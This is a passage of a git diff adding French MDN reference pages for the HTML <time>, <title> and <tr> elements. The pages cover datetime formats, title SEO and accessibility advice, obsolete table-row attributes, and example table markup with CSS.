+<p>Cet élément n'est pas approprié pour les dates antérieures à l'introduction du calendrier grégorien (en raison des complications de calcul pour ces dates).</p>
+
+<p>La valeur exploitable informatiquement est la valeur de l'attribut <code>datetime</code> de l'élément. Cette valeur doit être dans un format correct pour être analysé. Si l'élément ne possède pas d'attribut <code>datetime</code>, il ne doit pas avoir d'éléments fils et la valeur de l'heure est le contenu (textuel) de l'élément.</p>
+
+<h3 id="Valeurs_valides">Valeurs valides</h3>
+
+<dl>
+ <dt>Une chaîne de caractères représentant une année</dt>
+ <dd><code>2011</code></dd>
+ <dd><code>0001</code></dd>
+ <dt>Une chaîne de caractères représentant une année et un mois</dt>
+ <dd><code>2011-11</code></dd>
+ <dt>Une chaîne de caractères représentant une date</dt>
+ <dd><code>2011-11-18</code></dd>
+ <dt>Une chaîne de caractères représentant une date sans l'année</dt>
+ <dd><code>11-18</code></dd>
+ <dt>Une chaîne de caractères représentant une semaine</dt>
+ <dd><code>2011-W47</code></dd>
+ <dt>Une chaîne de caractères représentant une heure</dt>
+ <dd><code>14:54</code></dd>
+ <dd><code>14:54:39</code></dd>
+ <dd><code>14:54:39.929</code></dd>
+ <dt>Une chaîne de caractères représentant une date et une heure locale</dt>
+ <dd><code>2011-11-18T14:54:39.929</code></dd>
+ <dd><code>2011-11-18 14:54:39.929</code></dd>
+ <dt>Une chaîne de caractères représentant une date et une heure universelle</dt>
+ <dd><code>2011-11-18T14:54:39.929Z</code></dd>
+ <dd><code>2011-11-18T14:54:39.929-0400</code></dd>
+ <dd><code>2011-11-18T14:54:39.929-04:00</code></dd>
+ <dd><code>2011-11-18 14:54:39.929Z</code></dd>
+ <dd><code>2011-11-18 14:54:39.929-0400</code></dd>
+ <dd><code>2011-11-18 14:54:39.929-04:00</code></dd>
+ <dt>Une chaîne de caractères représentant une durée</dt>
+ <dd><code>PT4H18M3S</code></dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Le concert commence à &lt;time datetime="2018-07-07T20:00:00"&gt;20h00&lt;/time&gt;.&lt;/p&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Exemple_simple', 250, 60)}}</p>
+
+<h3 id="Exemple_avec_datetime">Exemple avec <code>datetime</code></h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Le concert a lieu &lt;time
+  datetime="2001-05-15T19:00"&gt;le 15 mai&lt;/time&gt;.&lt;/p&gt;
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample('Exemple_avec_datetime', 250, 60)}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">Contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLTimeElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-time-element', '&lt;time&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucune modification depuis {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'grouping-content.html#the-time-element', '&lt;time&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Aucune modification depuis {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-time-element', '&lt;time&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.time")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'élément {{HTMLElement("data")}} qui permet de représenter des valeurs différentes.</li>
+</ul>
diff --git a/files/fr/web/html/element/title/index.html b/files/fr/web/html/element/title/index.html
new file mode 100644
index 0000000000..25924bf08a
--- /dev/null
+++ b/files/fr/web/html/element/title/index.html
@@ -0,0 +1,131 @@
+---
+title: '<title> : l''élément de titre du document'
+slug: Web/HTML/Element/title
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/title
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément <strong><code>&lt;title&gt;</code></strong> définit le titre du document (qui est affiché dans la barre de titre du navigateur ou dans l'onglet de la page). Cet élément ne peut contenir que du texte, les balises qu'il contiendrait seraient ignorées.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut uniquement <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<p>L'élément <code>&lt;title&gt;</code> est toujours utilisé au sein de l'élément {{HTMLElement("head")}} de la page.</p>
+
+<h3 id="Référencement_(SEO)">Référencement (SEO)</h3>
+
+<p>Le titre d'une page fait partie des éléments principaux qui sont scannés lors de l'indexation d'une page. C'est aussi le texte qui est affiché parmi les résultats du moteur de recherche, de façon proéminente et donc visible par les utilisateurs qui trouvent votre site grâce à un moteur de recherche.</p>
+
+<p>Aussi, mieux vaudra avoir des titres descriptifs plutôt que des titres trop courts ou vagues.</p>
+
+<p>Quelques observations :</p>
+
+<ul>
+ <li>On pourra éviter les titres sur un ou deux mots.</li>
+ <li>La longueur affichée pour les titres dans les résultats d'un moteur de recherche se situe entre 55 et 60 caractères. Si le titre est plus long, on veillera à ce que les concepts majeurs apparaissent avant cette longueur.</li>
+ <li>Attention aux entités (les chevrons HTML pourront être affichés différemment entre les navigateurs).</li>
+ <li>Le titre doit être intelligible et pas une simple concaténation de mots-clés.</li>
+ <li>Le titre devra être unique pour un même site.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: html">&lt;title&gt;Et voici le titre de ma page !&lt;/title&gt;
+</pre>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Il est important de fournir une valeur pour l'attribut <code>title</code> qui décrit le but de la page de façon claire et concise.</p>
+
+<p>Les personnes utilisant des outils d'assistance peuvent utiliser le titre de la page afin de déterminer rapidement ce qu'elle contient. Ainsi, il peut ne pas être nécessaire de naviguer « dans » la page, ce qui peut prendre du temps et être source de confusion si, ce faisant, on doit déterminer le but de la page.</p>
+
+<h4 id="Exemple">Exemple</h4>
+
+<pre>&lt;title&gt;Menu - Restaurant chinois Maison bleue - Commande en ligne&lt;/title&gt;
+</pre>
+
+<p>Mettre à jour la valeur de <code>title</code> afin de refléter un changement d'état important (un problème de validation d'un formulaire par exemple) peut également s'avérer utile :</p>
+
+<h4 id="Exemple_2">Exemple</h4>
+
+<pre>&lt;title&gt;2 erreurs sur votre commande - Restaurant chinois Maison bleue - Commande en ligne&lt;/title&gt;
+</pre>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.4_—_Navigable_Provide_ways_to_help_users_navigate_find_content_and_determine_where_they_are">Comprendre les règles WCAG 2.4</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-title.html"><em>Understanding Success Criterion 2.4.2 | W3C Understanding WCAG 2.0</em> (en anglais)</a></li>
+</ul>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_méta-données">Contenu de méta-données</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Du texte qui n'est pas du blanc entre éléments (<em>inter-element whitespace</em>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>Les deux balises sont nécessaires. Si <code>&lt;/title&gt;</code> est absent, le navigateur peut ignorer le reste de la page.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Un élément {{HTMLElement("head")}} qui ne contient pas d'autre élément {{HTMLElement("title")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLTitleElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-title-element', '&lt;title&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'document-metadata.html#the-title-element', '&lt;title&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.4.2', '&lt;title&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.title")}}</p>
diff --git a/files/fr/web/html/element/tr/index.html b/files/fr/web/html/element/tr/index.html
new file mode 100644
index 0000000000..792b419746
--- /dev/null
+++ b/files/fr/web/html/element/tr/index.html
@@ -0,0 +1,422 @@
+---
+title: '<tr> : l''élément de ligne d''un tableau'
+slug: Web/HTML/Element/tr
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Tableaux
+  - Web
+translation_of: Web/HTML/Element/tr
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;tr&gt;</code></strong> définit une ligne de cellules dans un tableau. Une ligne peut être constituée d'éléments {{HTMLElement("td")}} (les données des cellules) et {{HTMLElement("th")}} (les cellules d'en-têtes).</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/tr.html","tabbed-taller")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Si on veut qu'une cellule s'étende sur plusieurs lignes/colonnes, on pourra utiliser l'attribut {{htmlattrxref("colspan", "td")}} ou {{htmlattrxref("rowspan", "td")}} qui indiquent respectivement le nombre de colonnes / lignes sur lequel s'étendre (la valeur par défaut étant 1).</p>
+
+<p>La construction de tableau peut parfois demander un peu de pratique. Au-delà des exemples présentés ci-après, vous pouvez consulter <a href="/fr/docs/Apprendre/HTML/Tableaux">les tutoriels sur les tableaux HTML</a> afin d'apprendre comment utiliser ces éléments et attributs HTML afin d'organiser vos données tabulaires.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>À l'instar de tous les éléments HTML, cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h3 id="Attributs_dépréciés_ou_obsolètes">Attributs dépréciés ou obsolètes</h3>
+
+<dl>
+ <dt>{{htmlattrdef("align")}}{{Obsolete_Inline("HTML5")}}</dt>
+ <dd>Cet attribut à valeurs définit l'alignement horizontal pour le contenu de chaque cellule. Les valeurs possibles sont :
+ <ul>
+  <li><code>left </code>: le contenu de la cellule est aligné à gauche de la cellule</li>
+  <li><code>center</code> : le contenu de la cellule est centré horizontalement</li>
+  <li><code>right</code> : le contenu de la cellule est aligné à droite de la cellule</li>
+  <li><code>justify</code> : insert des espaces dans le contenu textuel afin que le contenu de la cellule soit justifié</li>
+  <li><code>char</code> : aligne le contenu textuel de la cellule selon un caractère spécial avec un décalage minimum défini par les attributs  {{htmlattrxref("char", "tr")}} et {{htmlattrxref("charoff", "tr")}} {{unimplemented_inline(2212)}}.</li>
+ </ul>
+
+ <p>Si cet attribut n'est pas renseigné, la valeur est héritée du nœud parent.</p>
+
+ <div class="note"><strong>Notes : </strong>Cet attribut est devenu obsolète dans le dernier standard et ne doit donc plus être utilisé.
+
+ <ul>
+  <li>Pour réaliser les mêmes effets que les valeurs <code>left</code>, <code>center</code>, <code>right</code> ou <code>justify</code>, il faut utiliser la propriété CSS {{cssxref("text-align")}} sur l'élément</li>
+  <li>Pour réaliser le même effet qu'avec la valeur <code>char</code>. Il est possible, en CSS3, d'utiliser la valeur de l'attribut {{htmlattrxref("char", "tr")}} comme valeur de la propriété {{cssxref("text-align")}}. {{unimplemented_inline}}.</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("bgcolor")}} {{Obsolete_Inline("HTML5")}}</dt>
+ <dd>Cet attribut définit la couleur d'arrière-plan de toutes les cellules de la colonne. C'est un code à 6 chiffres hexadécimaux comme défini par le <a class="external" href="https://www.w3.org/Graphics/Color/sRGB">sRGB</a>. Il est précédé d'un '#'. Un de ces seize mot-clé peut également être utilisé.
+ <table style="width: 80%;">
+  <tbody>
+   <tr>
+    <td style="background-color: black; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"></td>
+    <td><code>black</code> = "#000000"</td>
+    <td style="background-color: green; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"></td>
+    <td><code>green</code> = "#008000"</td>
+   </tr>
+   <tr>
+    <td style="background-color: silver; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"></td>
+    <td><code>silver</code> = "#C0C0C0"</td>
+    <td style="background-color: lime; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"></td>
+    <td><code>lime</code> = "#00FF00"</td>
+   </tr>
+   <tr>
+    <td style="background-color: gray; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"></td>
+    <td><code>gray</code> = "#808080"</td>
+    <td style="background-color: olive; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"></td>
+    <td><code>olive</code> = "#808000"</td>
+   </tr>
+   <tr>
+    <td style="background-color: white; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"></td>
+    <td><code>white</code> = "#FFFFFF"</td>
+    <td style="background-color: yellow; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"></td>
+    <td><code>yellow</code> = "#FFFF00"</td>
+   </tr>
+   <tr>
+    <td style="background-color: maroon; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"></td>
+    <td><code>maroon</code> = "#800000"</td>
+    <td style="background-color: navy; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"></td>
+    <td><code>navy</code> = "#000080"</td>
+   </tr>
+   <tr>
+    <td style="background-color: red; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"></td>
+    <td><code>red</code> = "#FF0000"</td>
+    <td style="background-color: blue; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"></td>
+    <td><code>blue</code> = "#0000FF"</td>
+   </tr>
+   <tr>
+    <td style="background-color: purple; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"></td>
+    <td><code>purple</code> = "#800080"</td>
+    <td style="background-color: teal; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"></td>
+    <td><code>teal</code> = "#008080"</td>
+   </tr>
+   <tr>
+    <td style="background-color: fuchsia; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"></td>
+    <td><code>fuchsia</code> = "#FF00FF"</td>
+    <td style="background-color: aqua; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"></td>
+    <td>
+     <p><code>aqua</code> = "#00FFFF"</p>
+    </td>
+   </tr>
+  </tbody>
+ </table>
+
+ <div class="note"><strong>Note d'utilisation : </strong>Il est fortement conseillé de ne pas utiliser cet attribut car celui-ci n'est pas un attribut standard et n'a été implémentée que sous certaines versions d'Internet Explorer. L'élément {{HTMLElement("tr")}} doit être mis en forme grâce au <a href="/fr/docs/CSS">CSS</a>. Pour fournir un effet semblable à celui achevé par l'attribut <code><strong>bgcolor</strong></code>, il est possible d'utiliser la propriété CSS {{cssxref("background-color")}}.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("char")}}{{Obsolete_Inline("HTML5")}}</dt>
+ <dd>Cet attribut est utilisé pour définir le caractère sur lequel aligner les cellules d'une colonne. Les valeurs de cet attribut contiennent généralement un point (.) pour aligner des nombres ou des valeurs monétaires. Si l'attribut {{htmlattrxref("align", "tr")}} ne vaut pas <code>char</code>, l'attribut est ignoré.</dd>
+ <dd>
+ <div class="note"><strong>Note d'utilisation : </strong>Cet attribut est obsolète et il est donc fortement déconseillé de l'utiliser. De fait, il n'est pas supporté par le dernier standard. Pour réaliser le même effet qu'avec {{htmlattrxref("char", "tr")}}, il faut utiliser CSS3 en attribuant la même valeur à la propriété {{cssxref("text-align")}}.{{unimplemented_inline}}.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("charoff")}} {{Obsolete_Inline("HTML5")}}</dt>
+ <dd>Cet attribut est utilisé pour indiquer le décalage, en nombre de caractères, depuis le caractère défini par l'attribut<strong> char</strong> à appliquer au contenu des cellules.
+ <div class="note"><strong>Note d'utilisation: </strong>Cet attribut ne doit plus être utilisé car il est maintenant obsolète et n'est plus supporté dans le dernier standard.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("valign")}} {{Obsolete_Inline("HTML5")}}</dt>
+ <dd>Cet attribut définit l'alignement vertical du texte des cellules de la ligne. Les valeurs possibles de cet attribut sont :
+ <ul>
+  <li><code>baseline</code> qui alignera le texte à la ligne la plus basse possible en utilisant la <a class="external" href="https://fr.wikipedia.org/wiki/Ligne_de_base_%28typographie%29">ligne de base</a> des caractères. Si les caractères ont tous la même taille, cela aura le même effet que la valeur <code>bottom</code>.</li>
+  <li><code>bottom</code> qui placera le texte au plus bas de la cellule</li>
+  <li><code>middle</code> qui centrera verticalement le texte dans la cellule</li>
+  <li><code>top</code> qui placera le texte au plus haut de la cellule.</li>
+ </ul>
+
+ <div class="note"><strong>Note: </strong>Cet attribut est obsolète dans le dernier standard, la propriété CSS {{cssxref("vertical-align")}} doit être utilisée à la place.</div>
+ </dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;th&gt;Prénom&lt;/th&gt;&lt;th&gt;Nom&lt;/th&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Jean&lt;/td&gt; &lt;td&gt;Biche&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Marcel&lt;/td&gt; &lt;td&gt;Patulacci&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_simple","100%","200")}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> Pour plus d'exemples, voir la page {{HTMLElement("table")}}.</p>
+</div>
+
+<h3 id="Étendre_sur_plusieurs_lignes_ou_colonnes">Étendre sur plusieurs lignes ou colonnes</h3>
+
+<p>On utilise ici les attributs <code>rowspan</code> et <code>colspan</code> pour étendre des cellules sur plusieurs lignes et colonnes.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;th rowspan="2"&gt;Nom&lt;/th&gt;
+    &lt;th rowspan="2"&gt;ID&lt;/th&gt;
+    &lt;th colspan="2"&gt;Dates&lt;/th&gt;
+    &lt;th rowspan="2"&gt;Solde&lt;/th&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;th&gt;Inscription&lt;/th&gt;
+    &lt;th&gt;Résiliation&lt;/th&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;th&gt;Margaret Nguyen&lt;/td&gt;
+    &lt;td&gt;427311&lt;/td&gt;
+    &lt;td&gt;&lt;time datetime="2010-06-03"&gt;3 juin 2010&lt;/time&gt;&lt;/td&gt;
+    &lt;td&gt;n/a&lt;/td&gt;
+    &lt;td&gt;0&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;th&gt;Edvard Galinski&lt;/td&gt;
+    &lt;td&gt;533175&lt;/td&gt;
+    &lt;td&gt;&lt;time datetime="2011-01013"&gt;13 janvier 2011&lt;/time&gt;&lt;/td&gt;
+    &lt;td&gt;&lt;time datetime="2017-04008"&gt;8 avril 2017&lt;/time&gt;&lt;/td&gt;
+    &lt;td&gt;37&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;th&gt;Hoshi Nakamura&lt;/td&gt;
+    &lt;td&gt;601942&lt;/td&gt;
+    &lt;td&gt;&lt;time datetime="2012-07-23"&gt;23 juillet 2012&lt;/time&gt;&lt;/td&gt;
+    &lt;td&gt;n/a&lt;/td&gt;
+    &lt;td&gt;15&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">table {
+  border: 1px solid black;
+}
+
+th, td {
+  border: 1px solid black;
+}</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Étendre_sur_plusieurs_lignes_ou_colonnes")}}</p>
+
+<h3 id="Distinguer_en-tête_et_contenu">Distinguer en-tête et contenu</h3>
+
+<p>On utilise ici l'élément {{HTMLElement("thead")}} et l'élément {{HTMLElement("tbody")}} pour distinguer l'en-tête du tableau et le contenu de celui-ci.</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th rowspan="2"&gt;Nom&lt;/th&gt;
+      &lt;th rowspan="2"&gt;Identifiant&lt;/th&gt;
+      &lt;th colspan="2"&gt;Dates&lt;/th&gt;
+      &lt;th rowspan="2"&gt;Solde&lt;/th&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;th&gt;Inscription&lt;/th&gt;
+      &lt;th&gt;Résiliation&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;th scope="row"&gt;Margaret Nguyen&lt;/td&gt;
+      &lt;td&gt;427311&lt;/td&gt;
+      &lt;td&gt;&lt;time datetime="2010-06-03"&gt;3 juin 2010&lt;/time&gt;&lt;/td&gt;
+      &lt;td&gt;n/a&lt;/td&gt;
+      &lt;td&gt;0&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;th scope="row"&gt;Edvard Galinski&lt;/td&gt;
+      &lt;td&gt;533175&lt;/td&gt;
+      &lt;td&gt;&lt;time datetime="2011-01013"&gt;13 janvier 2011&lt;/time&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;time datetime="2017-04008"&gt;8 avril 2017&lt;/time&gt;&lt;/td&gt;
+      &lt;td&gt;37&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;th scope="row"&gt;Hoshi Nakamura&lt;/td&gt;
+      &lt;td&gt;601942&lt;/td&gt;
+      &lt;td&gt;&lt;time datetime="2012-07-23"&gt;23 juillet 2012&lt;/time&gt;&lt;/td&gt;
+      &lt;td&gt;n/a&lt;/td&gt;
+      &lt;td&gt;15&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">table {
+  border: 1px solid black;
+}
+
+th, td {
+  border: 1px solid black;
+}</pre>
+
+<h4 id="Résultat_3">Résultat</h4>
+
+<p>{{EmbedLiveSample("Distinguer_en-tête_et_contenu", 500, 150)}}</p>
+
+<h3 id="Mise_en_forme_simple">Mise en forme simple</h3>
+
+<p>Il est possible d'utiliser <a href="/fr/docs/Web/CSS/">CSS</a> afin de modifier l'apparence d'une ligne d'un tableau. Tous les styles appliqués à un élément <code>&lt;tr&gt;</code> auront un impact sur les cellules de cette ligne (sauf si celles-ci indiquent un style par dessus).</p>
+
+<p>Modifions ici la police et la couleur d'arrière-plan pour la ligne d'en-tête.</p>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th rowspan="2"&gt;Nom&lt;/th&gt;
+      &lt;th rowspan="2"&gt;ID&lt;/th&gt;
+      &lt;th colspan="2"&gt;Dates&lt;/th&gt;
+      &lt;th rowspan="2"&gt;Solde&lt;/th&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;th&gt;Inscription&lt;/th&gt;
+      &lt;th&gt;Résiliation&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;th scope="row"&gt;Margaret Nguyen&lt;/td&gt;
+      &lt;td&gt;427311&lt;/td&gt;
+      &lt;td&gt;&lt;time datetime="2010-06-03"&gt;3 juin 2010&lt;/time&gt;&lt;/td&gt;
+      &lt;td&gt;n/a&lt;/td&gt;
+      &lt;td&gt;0&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;th scope="row"&gt;Edvard Galinski&lt;/td&gt;
+      &lt;td&gt;533175&lt;/td&gt;
+      &lt;td&gt;&lt;time datetime="2011-01013"&gt;13 janvier 2011&lt;/time&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;time datetime="2017-04008"&gt;8 avril 2017&lt;/time&gt;&lt;/td&gt;
+      &lt;td&gt;37&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;th scope="row"&gt;Hoshi Nakamura&lt;/td&gt;
+      &lt;td&gt;601942&lt;/td&gt;
+      &lt;td&gt;&lt;time datetime="2012-07-23"&gt;23 juillet 2012&lt;/time&gt;&lt;/td&gt;
+      &lt;td&gt;n/a&lt;/td&gt;
+      &lt;td&gt;15&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css">table {
+  border: 1px solid black;
+  font: 16px "Open Sans", Helvetica, Arial, sans-serif;
+}
+
+thead &gt; tr {
+  background-color: rgb(228, 240, 245);
+}
+
+th, td {
+  border: 1px solid black;
+  padding:4px 6px;
+}
+</pre>
+
+<p>On utilise ici la propriété {{CSSxRef("font")}} sur l'élément {{HTMLElement("table")}} afin d'avoir une police plus agréable. Ensuite, pour tous les éléments <code>&lt;tr&gt;</code> qui sont les fils de {{HTMLElement("thead")}} (c'est-à-dire pour les lignes de l'en-tête), on indique une couleur d'arrière-plan bleu clair. Cela se propagera à l'ensemble des cellules de l'en-tête.</p>
+
+<h4 id="Résultat_4">Résultat</h4>
+
+<p>{{EmbedLiveSample("Mise_en_forme_simple", 500, 200)}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td>Aucune.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
